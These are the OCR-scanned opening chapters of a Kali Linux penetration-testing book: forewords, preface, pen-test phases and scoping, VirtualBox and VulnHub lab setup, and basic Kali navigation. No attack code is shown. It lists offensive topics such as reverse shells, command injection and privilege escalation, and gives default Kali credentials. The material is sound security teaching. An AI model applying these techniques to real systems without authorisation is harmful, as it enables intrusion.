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Foreword

Diana Kelley: Every business owner should know the answers to these
critical questions, “Are my online and mobile apps secure?”, “Is my
company data at risk?”” and “Can my customers buy my services safely?”

If they know the answers, then, we must, by all means, thank the hard work
of a penetration (or pen) tester.

The concept of pen testing sounds rather exotic or “cool”, especially to
those who have never executed it before. In practice, pen testing can be a
confusing and challenging endeavor. Tests are often run in the wee hours
and if you do not notice anything amiss, that doesn’t mean “A job well
done”. Instead, it advises you to take a deeper look and try additional tools
to ensure that you have covered all the regions of the app and done as deep
a dive as possible! Besides, there are the eternal questions, “How do we
know we’ve checked all places?” and “How can we know the app is fully
tested?”

Therefore, the book you’re about to read is such an important resource.
Written by Deepyan Chanda and Pranav Joshi, the seasoned cybersecurity
professionals who have completed hundreds of pen tests, led large internal
testing teams, and learned many lessons the hard way. Deep and Pranav
were inspired by their many experiences to write this book and serve as
your advocates and guides to the penetration testing process. Based on
years of real-world experiences and trial and error methods to determine
what works and what does not, they have put up a practical framework-
based approach using Kali Linux as the platform.

If you are new to pen testing, this book is all you need to get started. If
you’ve been performing pen testing for a while, the framework and
experiential wisdom will shine light on ways to improve your process and
help cue into new approaches.

As Deepayan likes to say, “Pen testing always tells the truth; it is a measure
we use to validate if all our hard work in design and implementation has
resulted in a robust and secure system or not”. And this is your step-by-step
guide for unearthing that truth.



Burgess Sam Cooper: Today, penetration testing is more relevant than ever
before. The threat landscape is evolving fast(er) and the attacker is getting
younger. Information security is also maturing as a field. In addition, it is no
longer necessary to have the technical know-how in order to attack a target.
The attacks can be bought as services in the dark net.

This leads to a situation wherein the only way to determine if your
infrastructure and applications are secure is to test them before the attackers
do.

Testing is sometimes likened to an art, which it is. However, it is possible to
achieve consistent results if a process is followed. Deepayan and Pranav in
this book have specified this process. The core strength of the book lies in
the fact that it starts from the scratch. If you can download a file from the
internet, you can start following the steps in this book.

Kali Linux as a platform is geared towards testing. The key advantage is
that the tester does not have to spend time installing the basic tools. Kali has
a ready-to-use environment which lets the tester start quickly.

Another strong point in the book is the emphasis on learning by doing. The
book takes you from setting up your environment to creating a report after
conducting a test. Clear reporting helps the receiver understand what the
findings in a test mean and how to prioritize them and leads to a
constructive conversation between the tester, application teams, developers
and infrastructure maintainers.

So, grab your virtual machines and let Deepayan and Pranav take you on a
journey of discovery!

Ajay Kumar: In today’s digitally connected world, the organizations are at
risk. The magnitude and prevalence of cybersecurity threats in our lives are
increasing on a regular basis. While events in the media have by and large
gained everybody’s attention, the information security practitioners and
defenders often have no or insufficient tools, skill sets, and experiences to
understand the gravity of these sophisticated new attacks. It’s evident that
whenever the team rehearses before the actual game, they deliver with
confidence and ease in the real game against the opponent. It judges your
readiness before the real test. This scenario resonates very well in cyber
security also where the information security team needs to test their
defenses and expose the gaps and vulnerabilities before the real world



attack happens. These simulated exercises not only help the information
security team to be ready in an adverse situation, but also helps the business
team to take informed decisions to fill the gap in the cyber security posture.

In this book, the authors, Deepayan Chanda and Pranav Joshi have
explained in detail the relevance of penetration testing as one of the key
simulation practices performed by the security professionals. This book
explains in layman’s terms the fundamentals of penetration testing using
Kali Linux along with the methodology, hands-on exercises, sample
reporting and recommendations. Kali Linux 1s one of the many tools that
help the information security teams to fight adversaries.

Whether you are a student or cyber security professional, this book would
give you the basic concepts of penetration testing, which are often used in
simulation-based red teaming exercises. It really takes courage and
dedication to formulate this sort of writing, which explains the end-to-end
process and various phases of penetration testing in a remarkably simple
manner.

I hope this book will spark your understanding and interest to deep dive into
learning and share your knowledge with the larger cyber security
community.

Good luck for taking this step to share your insights and experiences with
others.
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Preface

Penetration testing is performed to mimic a cyber-attack against the
networks, operating systems and applications to find its vulnerabilities and
how it can be exploited to gain access, very similar to how an actual
attacker would do. The security researchers, testers and experts across the
industry use penetration testing methodologies and techniques to assess and
evaluate the efficiency and efficacy of enterprise defense systems and
processes.

This book is meant for anyone who would like to improve their skills of
penetration testing for an enterprise environment. As it follows use case
based step-by-step methodical approach, anyone with a basic knowledge of
penetration testing can learn effectively by following these techniques for
their own enterprise security testing.

In this book, security experts and researchers, Pranav Joshi and Deepayan
Chanda explain you the skills, procedures and techniques that every
penetration tester needs. Deploying a virtual machine lab Including Kali
Linux and vulnerable operating system test machines, you will be able to
follow through a variety of practical use cases with tools like Nmap,
vulnerability scanners and Burp Suite.

You will begin by setting up a penetration testing lab consisting of a Kali
framework and Linux based target machine, which will serve as a platform
to learn and practice your penetration testing skills. You will then learn
about the fundamental stages of the penetration testing process. As you go
further, you will explore the phases of penetration testing in-depth such as
planning, reconnaissance, OS fingerprinting, service identification,
vulnerability detection, exploitation, staging and privilege escalation while
simultaneously learning about the relevant tools and their usage to find the
best approach depending on the scenario you are currently facing. You will
also learn to interpret and correlate the output of multiple tools so that you
have a rock-solid foundation to build upon. Finally, you will learn to wrap-
up with a concise documentation of all the activities done during testing in a
crisp report which can be delivered to the stakeholders. During the lab
sessions that you will follow through the chapters and launch various



attacks, you will learn the essential stages and process of an actual testing,
which includes information gathering, exploitation of found vulnerabilities,
gaining access to systems and maintaining access, and some post
exploitation scenarios. Finally, you will learn to generate a valuable report,
as nothing is ever complete if there is no proper documentation.

The penetration testing processes and custom methodologies in this book
will provide you with the knowledge and techniques that will assist you to
deliver successful tests for your organizations. The step-by-step instructions
provided about information gathering will guide you to gather the required
level of information about the targets you are going to test. The phases like
exploitation and post-exploitation use cases will teach you about the tools
needed to perform the assessment. In each chapter, you will find the issues
that you may face while doing pentest to provide a real-world situation to
sharpen and perfect your penetration testing abilities. In this book, you will
read about a new penetration testing methodology explaining a real
enterprise scenario for an internal professional security testing team.

Over the 10 chapters in this book, you will learn the following:

Chapter 1 - The Basics of Penetration Testing

This chapter will explain about the basics of penetration testing and then
dive into setting up of Kali Linux environment for security testing with the
aim to provide the learners with a vast array of latest ethical hacking tools
and enable them to perform hands-on simulations using a virtual lab
environment.

Chapter 2 Penetration Testing L.ab

This chapter will help you in setting up of target environments to be used by
the researchers to practice their hacking skills using Kali Linux.

Chapter 3 - Finding your way around Kali Linux

This chapter will help in making the learners comfortable with the newly
setup Kali environment and helping them familiarize themselves, navigate
and perform basic tasks such as booting, starting and stopping services, etc.

Chapter 4 - Understanding the PT process stages



This chapter will provide the audience an introduction to various stages of
penetration testing process methodology.

Chapter S - Planning and reconnaissance

This chapter will help to understand the scope of penetration testing and
perform active and passive reconnaissance against target machines to gain
valuable insights about the target systems.

Chapter 6 - Service enumeration and scanning

The focus of this chapter will be to use the intelligence gathered in the
reconnaissance stage to further enumerate and scan the target system for
existence of security issues.

Chapter 7 - Vulnerability Research

In this chapter, you will understand how the insight gathered about the
target vulnerabilities can be further refined to find exploit codes using in-
built tools and online resources dedicated to vulnerability research.

Chapter 8 - Exploitation

In this chapter, you will put all the knowledge to the test by exploiting
security weaknesses identified in the system, gain access and work your
way to obtain privileged access to the target system.

Chapter 9 - Post Exploitation

This chapter will delve into the subject of post exploitation. The activities
performed in this phase will leverage upon the initial access obtained on the
target systems and information gained about them during the previous
chapters to completely take over the target systems by obtaining
administrative access on them.

Chapter 10 - Reporting

In this chapter, you will understand the basics of what constitutes a good
penetration testing report and create a sample report using the data and
evidence gathered during testing.
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CHAPTER 1

The Basics of Penetration Testing

he term Penetration Testing also commonly known as pen-testing or

PT has been around in the industry for decades, proving its
importance by becoming a crucial piece of the larger IT security umbrella.
It is a form of attack simulation exercise during which security
professionals attempt to identity enumerate and attack vulnerabilities in
applications, infrastructure, network or any other IT equipment and
leverage these to gain access, and establish a foothold on the organization’s
information environment.

The intent of such a simulated attack is to determine gaps in the security
implementation or perimeter defense mechanisms which may be exploited
by unauthorized entities with ulterior motives.

Structure

In this chapter, we will touch upon the following topics:

e Penetration testing and its types.

e Need and importance of Penetration Testing.

e Pre engagement activities and phases.

 Install VirtualBox, set up lab networking and import virtual machines.

Objectives
After reading this chapter, you will be able to:

 Get an overview on the basic theory of Penetration Testing and
common industry terminology.

e Understand the types of Penetration Tests.

* Get an overview on the activities which go into a Penetration Test.



e Have a working Kali setup which can be used to perform exercises
shown in the chapters ahead.

What is Penetration Testing?

Penetration testing, not to be confused with Vulnerability Assessment
(VA) (which is limited to enumerating vulnerabilities and does not delve
into the exploitation of the vulnerabilities identified), even though VA may
be pre-cursor to Penetration tests it is not an absolute requirement as
Penetration tests can be performed with or without a need to perform VA in
advance.

A pen-test can vary in many different ways, depending on the need and
scope of the project, but broadly a typical pen-test engagement starts with a
security professional gathering information on the targets in scope, the
targets are probed to discover the services hosted, the services are then
systematically checked to identify their security weaknesses. The
weaknesses identified are then researched and evaluated to analyze the risk
rating, exploit availability, technique, reliability and potential impact. The
tester then attempts to gain access to the target in scope using the exploits
selected. If the exploitation is successful and the attacker is able to gain a
foothold on the system, the security tester will ascertain the level of access
available and further enumerate the system in an attempt to identify security
issues, configuration weaknesses or sensitive information which may help
them in further escalating the level of access available locally or on any
interconnected targets in scope. Most of the phases are not in sequence, and
hence the tester may move back and forth between them as and when
required. Last but not the least, it is vitally important that all the activities
from all the phases during the entirety of the pen-test are documented. This
includes, scans type, tool command, observations made, the initial findings,
what were the gaps, how each system was exploited, Pentesters are required
to provide detailed account of the entire process followed along with the
supporting evidences during the reporting phase.

Pre-engagement activities for penetration testing

Unlike any testing, Penetration testing has very well-defined phases. But
depending on the initial observations the testers and researchers may choose




to develop their own test approach by merging or deviating from usual laid
out process. This will depend on the information and scope of testing
agreed with the client. The focus of this book will be to walk through the
standard penetration testing process that is broadly followed in the industry
to test out infrastructure and web application assets. This book will not
cover wireless and physical penetration testing.

Scope Definition: Whenever you plan to pick up any pentesting activity, it
is very important that the scope for the same is defined and agreed upon
between the tester and the party requesting the testing. Some of the
information that can be defined is, locations from where test is to be
performed, IP ranges, System details and Application names, and URLs for
testing. What are the timings to be followed to perform the tests, this is
important to perform the testing activities within a said and defined window
to avoid any unintentional or accidental downtime of critical systems
(unless and otherwise explicitly stated by the client not to be bound by any
time and window of testing)? Apart from what is in-scope, it is also
important that the out of scope (Brute force attacks, Denial of Service and
post compromise activities such as shell upload, local vulnerability
assessment or privilege escalation) are defined in the contract wherever
necessary.

Point of Escalation: Your contract should have a point of escalation
defined, whom to contact in cases of any incidents that might occur during
the entire process. The escalation tree can be followed based on the defined
window of penetration testing.

Legal Terms: In some cases, the security tester might need to include some
critical legal terms, such as who authorized the penetration testing to be
performed, when and what to perform. Especially in cases where the
systems being tested are not hosted by the same party who is asking to test
it. The permission to perform the test has to be in written, on paper or
digitally. This is to avoid any situation where if the client systems detect the
activities and flag it as an intrusion, then the authorized person can
intervene and make an exception. Otherwise in most of the countries it
might be considered as an attempt to intrusion that is punishable by law.

Phases of penetration testing




A Penetration test is a complex exercise involving various types of
activities which include probing, scanning, finding and researching
vulnerabilities, and obtaining access on them, these activities are selected
based on the type of target, and the knowledge gained during the test.

Performing a test without a structured approach presents various risks
pertaining to test coverage, time management and cost overruns. To avoid
these issues and put some order to chaos the exercise is broken down into
various phases which allow the tester to organise their thoughts and efforts
during the testing.

We will look at the typical phases which go into a penetration test below:

Information gathering

In Information gathering researchers perform searches to collect and gather
information that is publicly visible, Domain name searches, whois queries,
reverse DNS and similar information. In some cases, you might need to
employ specialized advanced searching techniques to find sensitive
information regarding the target organization such as Google Dork.

Reconnaissance and scanning

In reconnaissance stage testers prefer to use specific and advanced tools and
techniques to gain further information by using probing tools, such as
Nmap (more about it later in the book) to scan the network, or any
vulnerability scanning tools such as Nikto, based on the results from Nmap
or similar tools, penetration testers will also try to find the types of OS &
Services running on the systems, open shares available, and many more
other detailed information about the targets.

Vulnerability research

This phase involves performing research on all potential issues identified
during the previous phases of the test. The tester is expected to shift through
all the information gained to identify and refine actionable vulnerabilities
which can prove useful to gain access on the targets.

Exploitation and gaining access




At this stage Pentesters would attempt to run the exploits against the target
based on the information gathered and the vulnerabilities they identified
from the scanning and recon phase. Typically, the researchers would
attempt to use web application attacks, network-based attacks, may be also
try and use some backdoors, sometimes custom-built exploits too so as to
gain access of the target.

Post-exploitation and maintaining access

This phase is often known as post-exploitation phase. By this time the tester
would have full access to the system, which is otherwise controlled by
privileged access, or may be try to elevate to higher privilege access level,
sometimes also try and pivot to next available systems in the network.

Documentation and reporting

This is the last and important phase in the entire Penetration testing process
but not the least. As no work is ever complete if documentation is not
complete. In this phase the tester needs to compile all the information
related to vulnerabilities, issues, missing configurations, public information
that may have revealed some sensitive data, and compile it into a report
with an Executive Summary, Technical Summary and Recommendation to
remediate.

Types of penetration testing

Penetration testing can be performed with different scenarios, and these are
mostly driven by the scope of your test.

Internal testing

This is performed by working together with the internal teams within the
internal perimeter, and with or without full knowledge of the target
infrastructure. In most cases this testing will simulate the scenario of an
insider attack. depending on the type of attack scenario to be tested, the
client may decide on the access level to be provided to the tester, this access
may range from simple network access all the way to an authorized user.
Internal testing 1s done to check the resilience of the security related
processes and infrastructure against insider threats.




External testing

External penetration testing just like the name suggests is used to assess the
security of the external facing IT assets, such as the company portal, email
servers, web servers, DNS Servers, File servers, Cloud resources, or any
other public facing information assets. These tests are often carried out
from a remote location, outside of the client’s network. This form of testing
is performed to check the effectiveness and resilience of security related
processes and infrastructure from the perspective against an external attack
launched by any adversary.

Black box, White box and Grey box testing

Blackbox penetration testing is an engagement scenario where no prior
information about the targets or access is provided to the penetration tester,
it is the penetration testers responsibility to gather all information about the
targets through reconnaissance of publicly available information, this form
of testing attempts to simulate a real-world attack scenario where an
adversary without any prior information builds tactical knowledge of the
target using publicly available information. Blackbox penetration testing
requires that a lot of time to be devoted to mapping out the target. It is
expected for the consultant obtain confirmation on the assets identified
during reconnaissance to eliminate any false positives. The Blackbox
approach may not always feasible as it leads to hiked up project costs due to
significant escalation in time investment, another downside to Blackbox
testing is that not all the online assets of the target may be discovered which
may result in incomplete test coverage.

In a Whitebox penetration testing engagement complete information such as
software architecture, application logic, source codes, network architecture
diagrams, IP address schemes, OS, platform or device configuration files
and so on. are made available to the penetration tester, this leads to the most
comprehensive test coverage as the penetration tester can identify a lot of
vulnerabilities and security misconfiguration which may not be visible to an
external attacker. This type of testing usually takes a lot of time as
Whitebox approach testing requires a lot of analytical assessment to be
carried out. Such testing is carried out in the development stage or prior to
launch of application or infrastructure assets into production environment.



Greybox penetration test as the name suggests is an engagement approach
which combines the features of Blackbox and Whitebox penetration testing.
The tester is provided with common information on the target application or
infrastructure, this covers details such as URL, IP addresses, technology
being used, limited access credentials, and so on. This information provided
to the penetration tester results in significant reduction of the amount of
time, analysis and guesswork required on the penetration tester’s behalf, by
effectively eliminating the need for detailed reconnaissance and source
code/configuration/logic/architecture analysis in Blackbox and Whitebox
testing approaches

Setting up virtual penetration testing lab

Now that you have a fair understanding about the penetration testing its
various activities and sub-activities, the next logical step is to set up the lab
environment for performing penetration testing. For the purpose of our
book, we will be using various open-source tools, software, VMs and target
machines.

Our lab will be based on VirtualBox (https://www.virtualbox.org/) with
Kali Linux (https://www.kali.org/) for our Penetration testing tool sets.

Setting up VirtualBox

For the purpose of this book, you will be using Oracle VirtualBox (open-
source) to build our virtual penetration testing lab. (at the time of writing
the book we used version 6.0, but you may use the latest version that is
available when you plan to build your own lab)
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Figure 1.1: Oracle VirtualBox 6.0

VirtualBox 1s available for various operating systems, in this book we will
continue with the Windows version. The binaries can be downloaded from
this location https://www.virtualbox.org/wiki/Downloads.

From the webpage choose the windows hosts for the windows installer.



Here you will find links to VirtualBox binaries and its source code.

About VirtualBox binaries

Screenshots By downloading, you agree to the terms and conditions of the respective license.

Downloads If you're looking for the latest VirtualBox 5.2 packages, see VirtualBox 5.2 builds. Please also

Documentation use version 5.2 if you still need support for 32-bit hosts, as this has been discontinued in 6.0.
Version 5.2 will remaln supported untll July 2020.

End-user docs

Technical docs VirtualBox 6.0.14 platform packages
Contribute =« =Windows hosts
. = 0S5 X hosts
Community = Linux distributions
s C=+Splaris hosts

The binaries are released under the terms of the GPL version 2.
See the changelog for what has changed.

You might want to compare the checksums to verify the integrity of downloaded packages.
The SHA256 checksums should be favored as the MDS algonthm must be treated as insecure!

Figure 1.2: VirtualBox Download page and location

Once you have successfully downloaded the installer, continue to install the
VirtualBox, and follow the on-screen instructions. VirtualBox has many
useful features and among those the important feature is the ability to host
multiple VMs and create a private network completely isolated from the
host network. This is crucial sometime to keep traffic isolated within the
VM network especially if working with malware files, exploits, or to
prevent mistakenly scanning the host network. But in our lab, we will have
access to host Internet for various purposes, more about the network setup
for individual VMs is mentioned further into the chapter.

ﬂ Cracle VM VirtualBox Manager
Fike  Machine Help

e

Figure 1.3: VirtualBox Tools Menu

Once the installation is complete, the VirtualBox can be configured by
accessing the Preference option (you may also press Ctrl+G from
keyboard) and perform various configurations.
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Figure 1.4: VirtualBox Preference Window

Setting up VirtualBox Network

NAT network will be used for the purpose of this lab. To create a NAT
network for the lab, open the preferences from the tool’s menu. From the
left panel select the Network option, here you can create new, delete old or
edit existing NatNetwork as per your choice by selecting one of the three

options on the right panel.
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Figure 1.5: Virtual NAT Network Setting

Double clicking the NAT interface brings up a window where the network
name and IP range used for the lab network can be configured. We will

select the name NatNetwork and IP address range 10.0.2.0 and CIDR prefix
/24.
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Figure 1.6: Virtual box Preferences

Setting up Kali Linux

Once the setup and configurations are complete, lets proceed to follow the
next instructions to install Kali Linux (our first VM), Kali is a Linux based
VM which is preconfigured for the purpose of penetration testing. All the
testing and exercise in this book i1s based on Kali Linux and other target
VMs (more about target VMs in other chapters). The latest distribution of
Kali Linux various images can be downloaded from the parent website
here, https://www.kali.org/downloads/, in our case we have chosen the
virtual platform as VirtualBox, so the Kali Linux image needs to be
compatible to VirtualBox, which can be found at this location,
https://www.offensive-security.com/kali-linux-vimn-vinware-virtualbox-
image-download/ (we will be using the 64bit version for our lab, as shown
in the picture below). At the time of writing this book the version available
was 2019.3.
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Figure 1.7: Kali Linux Download

Once you have downloaded the VirtualBox compatible OVA file, lets
continue to follow the instructions below to set it up as a VM in VirtualBox.

Refer to the VirtualBox tools menu mentioned in above image 1.3, we will
use the import option to create the Kali Linux VM by pointing to the
location of the OVA file that was downloaded. Follow the on-screen
instructions as shown in the following image:
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to import below.
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Figure 1.8: VirtualBox Import VM Option

Click next to proceed, the next screen shows all the parameters and details
about the VM, here few parameters can be changed for the VM. Select the
location of the base folder where the VM will be extracted from OVA and
stored, once done click the Import button to initiate the import.
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Appliance settings

These are the virtual machines contained in the appliance and the suggested settings of the imported VirtualBox machines.
You can change many of the properties shown by double-clicking on the ibems and disable others using the check boxes

below.
| Virtual System 1 Rk
® product Kali Linusx
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@ Vendor Offensive Security
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You can modify the base folder which will host all the virtual machines, Home folders can also be individually (per virtual
machine) modified.
| L C\Users{Th virtualBox YMs v |
MAC Address Policy:  Include only NAT network adapter MAC addresses X

Additional Options: [+ Import hard drives as VDI
Appliance ks not signed

Figure 1.9: Import VM

Once the import is complete, it will appear in the left panel. Select the Kali
Linux VM to show the option of the VM on the right panel.
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Figure 1.10: Kali Linux VM Details

Post the installation, continue with the setting up of the network by
attaching the Adapter 1 to NAT Network, and the network you created (as
in the following example screenshot) in the previous step.
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Figure 1.11: Kali Network setup

It is important that all the VMs in the Lab are connected to the same NAT
network so that they all can communicate with each other after the network
setup is complete.

Starting the VM can be done by double clicking the name of the VM to be
started or by right clicking the VM name navigating to the start sub menu
and selecting the Normal start option, doing this will open up a new
window, and start the boot process.

Shutting down the VM can be done by clicking on the close button and
selecting ‘send the shutdown signal’ this will result in the sending an
ACPI shutdown signal to the virtual machine which triggers the shutdown
process in the operating system.
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Figure 1.12: Shutdown VMs

In cases when shutting down the VM is not desired you can use the ‘save
the machine state’ option, selecting this will freeze the machine state and
save it to the system hard disk, this option is equivalent to the windows
hibernate feature, all open programs and services remain active so you can
resume from where you left off.



Figure 1.13: Kali graphical desktop environment

The setup is now ready to proceed with penetration testing activities.

Conclusion

This chapter provided an overview of Penetration Testing, the types of
testing available, the phases of testing its sub activities. The chapter also
covered installation for VirtualBox, setting up lab networking and
importing Kali VM.

Moving on, the next chapter will focus on expanding our virtual lab setup
by populating it with various target machines which will serve as a platform
to safely run the tests and practice our skills.

Questions

1. Explain penetration testing and its importance?



2. Why is a penetration test broken down into various phases?
3. What IP address range was used to set up the virtual lab network?



CHAPTER 2

Penetration Testing L.ab

n the previous chapter we installed Kali Linux in our virtual

environment. In this chapter we will explain about installing the target
machines in lab environment, these targets will serve as intentionally
vulnerable testbeds to learn and practice real-life penetration testing skills
in a safe manner. It is important to use these target machines for all testing
purposes so that no production systems, or any other real network are
harmed in the process of learning your skills.

Note: While the chapters in this book are laid out to be in sync with the
various phases of penetration testing, it is recommended to follow each
machine to its completion before attempting the next one. While this is
certainly not mandatory this approach will allow the reader to maintain
the flow and fully absorb the methodology through repetitive practice.

Structure

In this chapter we will learn about the following topics:

e Downloading target machines.

e Populating our virtual lab environment with targets.

Objectives
After reading this chapter, you will be able to:

o Import different types of target systems in the virtual lab environment.

e Have a working lab setup which can be used to perform exercises
shown in the chapters ahead.

Target machines




The targets machines showcased in this book have been carefully selected
to maximize the readers learning experience by providing a wide array of
use-cases. This is to get the reader to gradually pick up various penetration
testing skills as they proceed along their learning journey.

For the purpose of this book the target machines will be downloaded from
VulnHub which is an open repository of vulnerable target machines. Its
website www.vulnhub.com, 1s a searchable repository of hundreds of
carefully crafted vulnerable machines segregated by varying experience
levels ranging from beginner to expert.

In this chapter, we will learn to install a few target machines available on
VulnHub into our virtual lab environment.

O @ £ | hitpsywewsulnhub.comy # ~ 1 @

TEmPI.IS Fuglt. 3 4ngradz & thearr42 3 Mo 2

Tempus FLIE-E I5 a Latin phrase that roughiy translated as “ume flies”

This is an hard, real life box, created by @4ngridz and @theart42 to be used as a CTF challenge on Bshdes
Newcastle 23. novemnber 2019 and released on Vulnhub the same day

In Tempus Fugit 3, the idea is still, like in the first two challenges; to create something “out of the ordinary”
The vm contains 5 flags. if you dont see them, you are not looking in the right place

Need any hints? Feal free to contact us on Twitter: PAngr3dz or @Ptheartd2

DHCP-Clipmnt

B Tested both on Virtualbox and vimware

@ Download

djinn: 1 ol

= Level Beginner-intermediate

= Mags: userbd and root bd

= Dascrplion: The machine is VirtualBox as well as ViliWare compatible. The DHCP will assign an IP aulomatically.
You'll e the [P right on the login Screen. You have 1o find and read bwo Rags (user and rool) which is present in
user bd and rool it respectively

= Format Virlual Machine (Vistualbox - OWA]

= Operaling Syshem: Linux

Figure 2.1: the wow.vulnhub.com website




The following table showcases the target virtual machines which have been
covered in the book:

Machine Name VulnHub Webpage
DC: 7 https://www.vulnhub.com/entry/dc-7,356/
Kioptrix: 2014 (#5) https://www.vulnhub.com/entry/kioptrix-2014-5,62/
Digitalworld.local: Joy https://www.vulnhub.com/entry/digitalworldlocal-joy,298/
HackInOS: 1 https://www.vulnhub.com/entry/hackinos-1,295/
Sunset: Nightfall https://www.vulnhub.com/entry/sunset-nightfall,355/
Mumbai: 1 https://www.vulnhub.com/entry/mumbai-1,372/

Table 2.1: Target Machines

Tip: Targets systems wusually run into a few gigabytes each,
downloading and installing all the images at once will reduce the space
available on your computer. Hence, in the interest of optimizing the disk
space utilization we recommend downloading and installing the
individual target machine before starting the test and removing them
after completion.

Setting up the targets

The download links for each target machine can be found by visiting its
webpage links given in Table 2.1 and browsing to the download section of
the page.
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Figure 2.2: DC7 Target VM Setup

The virtual images on the VulnHub website may be compressed, if this is
the case then you may have to uncompress the relevant zip/rar/bz2 files in a
folder using 7-zip or any other tool of your choice.

7-zip is a free software and can be downloaded from the website
https://www.7-zip.org/download.html.

Importing the Virtual targets

Once the relevant VMs image are downloaded and extracted you can start
the import process. Click on file>import or Ctrl-I from within the
VirtualBox application to open the import window, browse to the relevant
folder and click the .ova file. Doing this will populate all the configuration
settings from within the .ova file and display them in the Appliance settings



section. You can then start the import process by clicking on the import
button at the bottom of the window.

Apphance to import
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& version DC-71.1
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You can modify the base folder which will host all the virtual madhines. Home folders can also be individually (per virtual machine)
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| €:\Users\Pranav|VirtuaiBox VMs ~|
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Additional Options: [] Import hard drives as VDI
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Figure 2.3: DC 7 Setting

You should be able to see the newly imported machine in the left pane after
the import process finishes.
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Figure 2.4: DC7 VM

Special instructions for importing the Kioptrix: 2014 (#5)

The Kioptrix:2014 machine had been designed to run on VMware so we

will need to do a bit of extra work to make it run on VirtualBox.

Download and extract the kiop2014.tar.bz2 VM and kiop2014 fix.zip
from the VulnHub site into a folder, double click the kioptrix2014.vbox

(virtual machine definition) file to import the settings into VirtualBox.
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Figure 2.5: Kioptrix Import Settings

The virtual hard drive of this VM has been incorrectly mapped which needs
to be corrected before we can use the target, this can be fixed by clicking on
the IDE primary master drive and selecting the choose a disk file option

from the drop menu top open a file browser window.
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Figure 2.6: Fixing Kioptrix virtual drive path

Browse to the location of the Kioptrix VM and open the
kioptrix2014.vmdk file to fix the issue.

We will now configure this machine to use our pre-configured NAT
network instead of anything else that the developer of the machine may
have configured. To do so click open the VM settings by either right
clicking on the VM name and selecting settings or by selecting the VM
name and then clicking on the settings button from the menu.

Once the settings panel is open click on ‘Network’ section in the left pane
and change the ‘attached to’ value to NAT Network, select the name of
the network that we created in Chapter 1: The Basics of Penetration Iesting
in the ‘name’ drop down menu. confirm the new settings by clicking on the
‘oK’ button.




| E General Hebtwork

|@ System Adapter 1 Adapter 2 Adapter 3 Adapter 4

I

] Display 4] Enable Network Adapter

. g =

B storege Attached to: [NAT Network |

!ﬁ Mame: Nathetwork v
D:I Audio Sk,

m Shared Folders
ilﬁ Liser Interface

Invalid settings detected % [ ok ]| concel

Figure 2.7: DC 7 Network Setting

Our target machine is now configured and ready to be tested. You can use
the same process shown above for downloading and importing the other
target machines listed in this book.

Concepts covered with hands-on testing

During the course of the book and using various combinations of the target
machines, many use cases will be explained in a step-by-step manner so
that maximum learning is achieved.

e Host discovery scans

e Port scans

e Operating System fingerprinting

e Service identification and version detection
e Command chains

e Automation using bash scripts



Service enumeration

HTTP
SNMP
o FTP

o SMB
SQL

o

(0]

o

Gleaming valuable information from page source
Fuzzing

Local file inclusion

Directory traversal

OS command injection

Bypassing web access filtering through user agent manipulation
Remote code execution

Bypassing file upload restrictions

Enumerating and attacking WordPress
Brute-forcing online login forms

Encoding payloads

Vulnerability research

(¢]

Search engines

o

Exploit websites

(¢]

Searchsploit

o

Metasploit

Gaining reverse shell
Using netcat for reverse shell and to transfer files
Reverse shell on hardened netcat with fifo and input/output redirection

Fixing limited capability reverse shell issues and upgrading to a TTY
shell

Local system enumeration
SUID binaries



We will use various tools available in Kali linux to test out the use cases
listed above, in doing so the reader will gradually pick up the working
knowledge of the various skills required for penetration testing.

Explore commands run as superuser using sudo
Kernel exploitation

Abusing unauthenticated TFTP service
Exploitation using Metasploit

Reverse shell using PHP backdoor

Password Cracking

Fuzzing input parameters to test vulnerabilities

Privilege escalation and gaining root

Conclusion

The stage is set and the lab 1s almost ready to be used for testing purposes,
in the next chapter we will touch upon a few aspects of how to get around
Kali Linux VM and familiarise ourselves with some of the important

commands and commonly used tools.

Questions

l.

2. Describe the networking adapter to enable networking between our

Which keyboard shortcut did we use to import appliance into

VirtualBox?

kali and target systems?



CHAPTER 3
Finding Your Way Around Kali Linux

o far, we have covered the basics of penetration test, and the

terminology used in the industry. We also created a virtual lab
environment to serve as a platform where we can safely learn and practice
our skills. Moving ahead this chapter we will teach you to maneuver around
the newly installed Kali Linux, and get familiarized with the tools and
techniques available on the Kali linux distribution, and how to use them
effectively.

Structure

In this chapter we will touch upon the following areas:

e Overview of Kali linux.

Basic account and system administration.

Package Management.

System operation

Shell scripting

Objectives
After reading this chapter you will be able to:

e Navigate through the interface and learn useful commands.
e Perform system administration related tasks.

 Install, update and remove packages.

e Understand shell scripting concepts.

e Automate and simplify complex tasks using shell scripting.

Let’s boot up the Kali Linux virtual machine that was installed in Oracle
VM VirtuaBox Manager. Select the Kali Linux VM in the left pane, then



select the ‘Machine’ menu followed by ‘start’ option. Select ‘Normal
start’ to run the Kali VM. You should notice that the Kali Linux VM
booting sequence has started. Continue to login into the system with
username ‘root’ and password ‘toor’ (or username kali and password kali
if you are using a later version of kali). If the VM is installed using a dvd
image then you will be asked to supply an alternate password during the
installation process, in that case you would need to login with the password
supplied.

Figure 3.1: Kali graphical desktop environment

To the left of the desktop is the ‘Dock’ which houses shortcuts for a few
popular applications to help quick launch of most used applications. The
shortcuts in the dock can be easily customized by the user by dragging and
dropping shortcuts from the ‘show Applications’ icon which can be found
at the bottom of the dock. The top of the interface is divided in few parts,
left side is the drop down ‘Applications’ menu which is collection of
various applications available in Kali Linux, the applications are further



divided into various categories (for example, Information Gathering,
Vulnerability Analysis, and so on.) this is done to for easy identification of
tools used in various phases of penetration testing. Do spend some time
going through all the categories to become familiar with the list of tools
available in Kali Linux. Towards the immediate right side of the
‘Applications’ menu 1S the ‘Places’ menu which contains links to
common user directories such as current user’s home, desktop and few
other items. The right side of the panel contains the user menu which
contains icons for configuring sound, network connectivity, battery along
with user settings, lock screen and shutdown menu.

Changing the default password

The password for the root user can be changed by using the “passwd”
command, upon running the passwd command you will be asked to enter
the new password twice, the new password will be updated in the system,
and the change will take effect on your next login.

root@kali: ~ (IO -

Figure 3.2: Kali terminal

Just as a reminder please keep in mind that default passwords are a serious
security risk, and a major reason of compromise, these should always be
changed.

Changing time zone

The time zone set by default in Kali Linux is in UTC, this can be changed
by clicking on the user menu to the right of the panel. Click on the current
user ‘root’ and then click on ‘Account Settings’ this will open up a new
settings window, navigate to ‘Date and Time’ settings, configure these to
match your time zone, date and time.



root@kali: ~ e e 0

File Edit View Search Terminal Help

| Configuring tzdata |
Please select the geocgraphic area in which you live. Subsequent
configuration questions will narrow this down by presenting a list of
cities, representing the time zones in which they are located.

Geographic area:

Antarctica
Australia
Arctic Ocean

=Cancel=

Figure 3.3: Package configuration of tzdata

